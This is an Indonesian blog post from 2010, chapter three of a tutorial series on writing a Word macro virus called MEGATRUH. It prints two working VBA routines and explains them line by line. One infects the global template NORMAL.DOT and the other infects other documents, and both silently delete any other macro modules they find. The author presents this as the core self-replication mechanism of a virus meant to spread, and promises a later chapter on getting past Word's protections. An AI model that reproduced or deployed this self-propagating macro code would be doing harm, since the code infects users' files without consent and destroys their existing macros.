Sabtu, 01 Mei 2010

BDVM - Bab 3 Penggandaan diri

Bab 3
Penggandaan diri



Pada tahap “meditasi” kedua ini, kita akan membentuk suatu kekuatan atau inti dari ilmu yang kita pelajari.  Bagian ini amat penting untuk dikuasai secara tepat, sehingga akan benar-benar menguasai ilmu yang sedang kita pelajari. Yaitu penggandaan diri!
Suatu program virus pasti mempunyai suatu rutin program yang difungsikan untuk menggandakan programnya.  Dengan rutin ini maka terjagalah keberadaannya dan mempercepat penyebaran.
Pada virus model kita ini, kita akan melakukan teknik penggandaan virus macro seperti virus macro lain pada umumnya. Yaitu lewat gerbang global template aplikasi ms-word yang dikenal dengan nama NORMAL.DOT. 

Jadi kita akan memakai jasa file normal.dot untuk menggandakan virus yang kita buat,  oleh karena itu agar virus dapat menyebar, kita harus menjalankan macro yang kita buat, agar menginfeksi normal.dot.  Pusing, ya? Sama … saya juga nih… :)


Tahapan infeksi dokumen

Pada tahapan ini, kita akan melihat listing program yang menunjukkan bagaimana suatu dokumen diinfeksi oleh program virus.  Coba perhatikan listing program berikut ini
.  ============================================================================

Sub InfeksiDokumen()
    Dim DOk As Boolean
    DOk = False
    On Error Resume Next
    For Each obj In ActiveDocument.VBProject.VBComponents
        If obj.Name = "MEGATRUH" Then DOk = True
        If obj.Name <> "MEGATRUH" And obj.Name <> "ThisDocument" Then
      
            Application.OrganizerDelete Source:=ActiveDocument.FullName, _
            Name:=obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next obj
    If DOk = False Then
            Application.OrganizerCopy Source:=NormalTemplate.FullName, _
            Destination:=ActiveDocument, Name:="MEGATRUH", Object:=wdOrganizerObjectProjectItems
                        End If
End Sub
============================================================================

Dari sub prosedur di atas kita akan membahasnya satu demi satu. 

•    Sub InfeksiDokumen()
Perintah ini merupakan awal suatu sub prosedur dan pada proyek kita ini, kita beri nama InfeksiDokumen.  Dengan memanggil sub prosedur ini maka kita mulai menginfeksi dokumen atau file Microsoft Word  lainnya.

•    Dim DOk As Boolean
Perintah DIM ini menunjukkan kita memesan suatu ruang penyimpanan pada memory untuk suatu jenis data tertentu,  perintah di atas dipakai memesan kapling memory untuk data jenis Boolean dan untuk merujuk ke lokasi memory dengan nama Dok. Kata Dok disini saya ambil dari singkatan Dokumen  Oke.  Biar ringkas !  Maklum … males nulis panjang-panjang …:)

•    DOk = False
Perintah ini mengisi variabel Dok dengan data False. Ingat kita telah menentukan jenis data untuk variabel Dok dengan jenis Boolean. Jadi hanya dapat diisi dengan data False atau True.

•    On Error Resume Next
Bagian ini dipakai untuk berjaga-jaga jika suatu kesalahan terjadi.  Perintah ini penting untuk dipasangkan agar kelancaran proses kerja program dapat berjalan dengan mulus.  Pepatah kuno berkata : sedia payung sebelum hujan.  Begitulah…

•    For Each obj In ActiveDocument.VBProject.VBComponents
Perintah berikutnya adalah perintah  berpasangan For…Next…. Pada perintah ini kita melakukan pengulangan untuk setiap obyek yang ada pada dokumen aktif.  Dalam proses looping (perputaran) ini kita akan sisipkan filter sesuai dengan keinginan seperti terlihat pada perintah berikut.

•    If obj.Name = "MEGATRUH" Then DOk = True
Perintah  ini merupakan filter untuk mencari tanda pengenal virus yang dibuat.  Kita memakai jasa perintah IF …. THEN… Jika nama obyek (object name) sama dengan MEGATRUH, maka variable Dok diisi dengan nilai True.  Artinya program virus sudah ada pada dokumen tersebut.

•    If obj.Name <> "MEGATRUH" And obj.Name <> "ThisDocument" Then
Saringan kedua, masih dengan perintah IF … THEN...., dipakai untuk menanggulangi jika ternyata nama obyek tidak ada.   Jika nama obyek tidak sama dengan MEGATRUH dan nama obyek tidak sama dengan This Document maka…
Artinya jika ternyata ditemui nama obyek lain, maka akan dilakukan sesuatu. Sesuatu tersebut  terlihat pada perintah berikut.

•    Application.OrganizerDelete Source:=ActiveDocument.FullName, _
Name:=obj.Name, Object:=wdOrganizerObjectProjectItems
Perintah ini merupakan tindakan yang dikerjakan, setelah penyaringan selesai dilakukan.  Perintah yang cukup panjang tersebut, berguna untuk menghapus nama obyek yang tidak bernama MEGATRUH dan ThisDocument pada dokumen yang saat itu sedang aktif.
Jika pada dokumen ternyata ditemui nama obyek selain kedua nama tersebut, maka akan dihapus.  Jadi jika ada modul-modul (obyek) macro lain maka akan hilang.  Maklum virus ini didesain “agak egois”, jadi akan menyikat habis program atau virus lain yang mungkin ada di dalam dokumen.  Teknik semacam ini dapat kita kembangkan untuk membuat suatu antidot virus.  Kita akan membahasnya nanti. Sabar dulu !!!

•    End If
Perintah ini merupakan pasangan dari perintah IF Obj.Name <> “MEGATRUH”.  Tentunya kita sebagai pemrogram tahu ‘kan?  Bahwa IF terkadang harus berpasangan dengan ENDIF.  Bergantung kepada siatuasi IF yang kita terapkan.  Anda (pemrogram) tentu mengiyakan argumen ini. Bagi Anda yang awam ya… terima saja penjelasan ini … he… he.. :)  lalu.. belajarlah pemrograman.

•    Next obj
Perintah ini merupakan pasangan dari perintah    For Each obj In ActiveDocument.VBProject.VBComponents
alasannya hampir sama dengan penjelasan ENDIF di muka.  Setiap ada FOR pasti ada perintah NEXT.

Sampai batas ini rutin program kita akan melakukan pemeriksaan obyek-obyek selain MEGATRUH dan ThisDocument, jika ditemukan maka akan dihapus.  Tanpa ampun !!!  sekarang kita teruskan “pengembaraan “ kita dengan perintah-perintah selanjutnya.

•    If DOk = False Then
Perintah ini dipakai untuk menyaring kondisi suatu dokumen aktif.  Jika dokumen berisi False, berarti program virus belum ada pada dokumen tersebut. Oleh karena itu, kita akan memasangkannya dengan perintah-perintah berikut.

•    Application.OrganizerCopy Source:=NormalTemplate.FullName, _
Destination:=ActiveDocument, Name:="MEGATRUH", Object:=wdOrganizerObjectProjectItems
Perintah yang cukup panjang, ya?  Sampai-sampai saya harus memasangkan tanda _ (garis bawah) agar listing program enak dibaca.  Perintah ini dipakai untuk mengcopy program virus dari normal template (normal.dot) ke dokumen aktif dengan nama MEGATRUH.

•    End If
Perintah ini merupakan pasangan dari IF Dok=False then … pelengkap saja agar program berjalan dengan lancar.

•    End Sub
Perintah ini dipakai sebagai tanda penutup suatu sub prosedur.  Pada contoh ini ia berpasangan dengan perintah Sub InfeksiDokumen(),


Sampai batas ini, jelaslah sudah.  Bahwa jika ternyata kondisi variabel Dok=False, maka program akan mengambil data program virus yang sebelumnya sudah disimpan di normal.dot.
Lho… padahal kita ‘kan belum pernah menyimpannya di normal.dot?  Benar! Oleh karena itu kini saatnya kita membuat suatu sub prosedur untuk menyimpan program di global template (normal.dot) tersebut.



Tahapan infeksi Global template

Listing program berikut ini menunjukkan cara mengcopy program virus ke global template.  Prosedur ini penting dan merupakan kunci penyebaran dan pengembangbiakan virus.  Susunan perintahnya mirip dengan cara penginfeksian yang dilakukan untuk dokumen.  Perbedaan mendasar terletak pada bagian penghapusan dan pengcopy-an sumbernya saja.  Coba bandingkan!
Kita akan membuat suatu sub prosedur baru yang dipakai untuk menginfeksi global template, kita beri nama InfeksiTemplate.  Listingnya adalah sebagai  berikut.

============================================================================
Sub InfeksiTemplate()
    Dim TOk As Boolean
    TOk = False
    On Error Resume Next
    For Each obj In NormalTemplate.VBProject.VBComponents
        If obj.Name = "MEGATRUH" Then TOk = True
        If obj.Name <> "MEGATRUH" And obj.Name <> "ThisDocument" Then
       
            Application.OrganizerDelete Source:=NormalTemplate.FullName, _
            Name:=obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next obj
   
    If TOk = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:=NormalTemplate.FullName, Name:="MEGATRUH", Object:=wdOrganizerObjectProjectItems
     End If
End Sub
============================================================================

Untuk menambah pemahaman, kita cermati listing tersebut baris demi baris.

•    Sub InfeksiTemplate()
Baris ini menunjukkan awal  sub prosedur yang bernama InfeksiTemplate.  Sub prosedur ini akan kita pakai untuk menginfeksi normal.dot.

•    Dim TOk As Boolean
Perintah ini memesan sejumlah tempat di memory untuk data dengan jenis Boolean.  Jadi hanya berisi data True atau False.  Pada contoh ini, kita menyiapkan suatu variabel dengan nama Tok.  Singkatan dari Template Oke.

•    TOk = False
Kita set variabel yang bernama Tok dengan data False.  Kita berasumsi bahwa belum ada suatu infeksi yang pernah dilakukan.

•    On Error Resume Next
Perintah ini dipakai untuk menanggulangi jika terjadi suatu kesalahan program yang tidak kita harapkan.

•    For Each obj In NormalTemplate.VBProject.VBComponents
Perintah berikutnya adalah perintah  berpasangan For… Next…. Pada perintah ini kita melakukan pengulangan untuk setiap obyek yang ada pada normal template .  Dalam proses perputaran ini kita akan sisipkan filter sesuai dengan keinginan seperti terlihat pada perintah berikut.

•    If obj.Name = "MEGATRUH" Then TOk = True
Perintah  ini merupakan saringan  untuk mencari tanda pengenal virus yang dibuat.  Kita memakai jasa perintah IF …. THEN… Jika nama obyek (object name) sama dengan MEGATRUH, maka variable Dok diisi dengan nilai True.  Artinya program virus sudah ada pada dokumen tersebut.

•    If obj.Name <> "MEGATRUH" And obj.Name <> "ThisDocument" Then
Saringan kedua, masih dengan perintah IF … THEN.., dipakai untuk menangani jika ternyata nama obyek tidak ada.   Jika nama obyek tidak sama dengan MEGATRUH dan nama obyek tidak sama dengan ThisDocument maka akan dilakukan sesuatu..

•    Application.OrganizerDelete Source:=NormalTemplate.FullName, _
Name:=obj.Name, Object:=wdOrganizerObjectProjectItems
Perintah ini digunakan untuk menghapus obyek lain dari normal template (normal.dot) selain yang bernama MEGATRUH dan ThisDocument.

•    End If
Perintah ini merupakan pasangan dari If obj.Name <> "MEGATRUH" And obj.Name <> "ThisDocument" Then … baris perintah ini sebagai pelengkap saja agar program berjalan dengan lancar.

•    Next obj
Perintah ini merupakan pasangan dari perintah    For Each obj In NormalTemplate.VBProject.VBComponents Alasannya hampir sama dengan penjelasan END IF di di muka.  Setiap ada FOR pasti ada perintah NEXT.

•    If  TOk = False Then
Perintah ini digunakan untuk mengetahui kondisi variabel Tok.  Jika Tok sama dengan False pertanda global template belum pernah diinfeksi.  Jika isi variabel tersebut True maka sudah diinfeksi.

•    Application.OrganizerCopy Source:=ActiveDocument.FullName, _
Destination:=NormalTemplate.FullName,Name:="MEGATRUH",_ object:=wdOrganizerObjectProjectItems

Perintah ini dipakai untuk mengcopy program virus dari dokumen aktif  ke normal template (normal.dot) dengan nama MEGATRUH.


•    End If
Perintah ini merupakan pasangan dari IF Tok=False then … pelengkap saja agar program berjalan dengan lancar.

•    End Sub
Perintah ini dipakai sebagai tanda penutup suatu sub prosedur.  Pada kasus ini ia berpasangan dengan perintah Sub InfeksiTemplate(),

Kesimpulan penjelasan di atas jika kita rangkum lebih kurang adalah :
Normal template akan diperiksa, jika ternyata terdapat obyek selain MEGATRUH dan ThisDocument, maka nama-nama obyek tersebut akan dihapus..
Jika ternyata normal template belum diinfeksi (belum terdapat obyek yang bernama Megatruh) maka akan dicopykan program macro yang berada di dokumen aktif.  Program copyan disimpan di normal template dengan nama Megatruh.

Oke! Sekarang kita telah mempunyai dua sub prosedur yang berguna untuk proses penggandaan diri virus.  Satu menyerang dokumen, satunya menyerang normal template. 
Model program virus macro belum komplit, kita akan mencoba membuat dan menembus benteng pertahanan program Microsoft Word, sehingga virus leluasa menggandakan diri.


==========================================================================

Sekali lagi saya ingatkan bahwa bagian penggandaan diri ini amatlah penting untuk kita pahami.  Karena tanpanya, program virus yang kita buat tidak akan dapat berkembang biak.  Jadi…. Pahamilah!
Sebetulnya ada teknik lain untuk penggandaan diri ini, yaitu lewat pengaturan beberapa perintah seperti : 
CodeModule.CountOfLines 
CodeModule.DeleteLines
CodeModule.AddFromString

Tapi, sayang seribu sayang, saya tidak akan membahasnya. He… he… :).  Coba cari sendiri !


=============================================================================


Download bab ini dalam versi ebook PDF

Tidak ada komentar:

Posting Komentar